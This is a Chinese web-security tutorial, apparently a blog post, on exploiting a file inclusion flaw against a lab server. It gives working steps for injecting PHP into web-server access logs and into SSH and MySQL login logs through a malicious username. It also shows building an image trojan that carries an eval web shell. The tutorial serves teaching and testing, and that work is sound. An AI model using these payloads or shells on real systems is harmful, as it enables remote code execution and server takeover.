文件包含漏洞(3),日志利用, 图片木马利用

日志利用, 图片木马利用

一, 利用服务器日志

通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段.

py 复制代码
apache log: /opt/lampp/logs/access_log
nginx log: /usr/local/nginx/logs/access.log 

首先可以利用文件包含漏洞测试日志文件的内容是否可以显示.

实际情况下日志的路径和名称都可能被修改, 需要其他手段获取.

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/error_log

由于日志会记录请求的url, 如果发送的url中带有恶意代码, 那么日志文件access_log就会记录, 再使用文件包含漏洞包含日志文件来执行代码.

py 复制代码
http://192.168.112.200/security/fileinc.php<?php phpinfo(); ?>

查看access_log日志:

py 复制代码
[25/Oct/2023:09:57:53 +0800] "GET /security/fileinc.php%3C?php%20phpinfo();%20?%3E HTTP/1.1"

这里可以看到符号被浏览器转码了, 因此无法执行代码.

那么我们绕过浏览器来发送这个请求, 例如使用 burpsuite.

方式1: 不使用双引号, 需要去掉php空格.
py 复制代码
GET /security/fileinc.php<?phpinfo();?> HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:26:31 +0800] "GET /security/fileinc.php<?phpinfo();?> HTTP/1.1" 404 1033

这里看到代码已经顺利写入了, 那么利用文件包含来执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
方式2: 使用双引号, 好处是可以包含更复杂的代码.
py 复制代码
GET /security/fileinc.php"<?php eval($_POST['cmd']);?>" HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:44:15 +0800] "GET /security/fileinc.php\"<?php eval($_POST['cmd']);?>\"" 400 961

利用漏洞:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log

post data: 
cmd=phpinfo();

二, 利用ssh或mysql的登录日志

1. linux默认的登录日志:
py 复制代码
/var/log/secure

日志文件对其他用户有可读权限

正常登录:

py 复制代码
ssh root@192.168.112.200

因为ssh的登录日志中会记录发送的用户名, 那么将用户名替换成恶意代码来登录:

py 复制代码
ssh "<?phpinfo();?>"@192.168.112.200

查看日志:

py 复制代码
Oct 25 11:15:13 mycentos sshd[16208]: Invalid user <?phpinfo();?> from 192.168.112.1 port 14605
Oct 25 11:15:13 mycentos sshd[16208]: input_userauth_request: invalid user <?phpinfo();?> [preauth]

这里可以看到代码已经注入到日志中了, 接下来利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/var/log/secure
2. mysql的登录日志

原理与ssh日志利用一样.

mysql日志默认是关闭的. 需要mysql日志是开启状态 /opt/lampp/etc/my.cnf:

sh 复制代码
general_log=ON
general_log_file=/opt/lampp/logs/mysql.log
log_output=file

日志文件对其他用户有可读权限

假设日志的路径:

py 复制代码
/opt/lampp/logs/mysql.log

正常登录:

py 复制代码
mysql -u root -p -h 192.168.112.200

将用户名替换成恶意代码:

py 复制代码
mysql -u "<?phpinfo();?>" -p -h 192.168.112.200

利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/mysql.log

3. 图片木马

准备图片和php文件, 使用cmd中的copy命令合并.

例如:

mm.php文件:

php 复制代码
<?php @eval($_GET['cmd']); ?>

命令:

py 复制代码
copy src.jpg/b + mm.php/a p_mm.jpg

以上命令将src.jpgmm.php合并, 生成图片p_mm.jpg

将木马图片上传到服务器, 利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=image/p_mm.jpg&cmd=phpinfo();
相关推荐
hopetomorrow2 小时前
学习路之PHP--使用GROUP BY 发生错误 SELECT list is not in GROUP BY clause .......... 解决
开发语言·学习·php
网络安全-杰克2 小时前
网络安全概论
网络·web安全·php
不是二师兄的八戒2 小时前
本地 PHP 和 Java 开发环境 Docker 化与配置开机自启
java·docker·php
黑客Ela3 小时前
网络安全中常用浏览器插件、拓展
网络·安全·web安全·网络安全·php
蝶开三月5 小时前
php:使用socket函数创建WebSocket服务
网络·websocket·网络协议·php·socket
Ai 编码助手6 小时前
使用php和Xunsearch提升音乐网站的歌曲搜索效果
开发语言·php
wkj0018 小时前
php操作redis
开发语言·redis·php
黑客Ash17 小时前
【D01】网络安全概论
网络·安全·web安全·php
->yjy17 小时前
计算机网络(第一章)
网络·计算机网络·php
阳光帅气男孩18 小时前
PhpSpreadsheet导出图片
php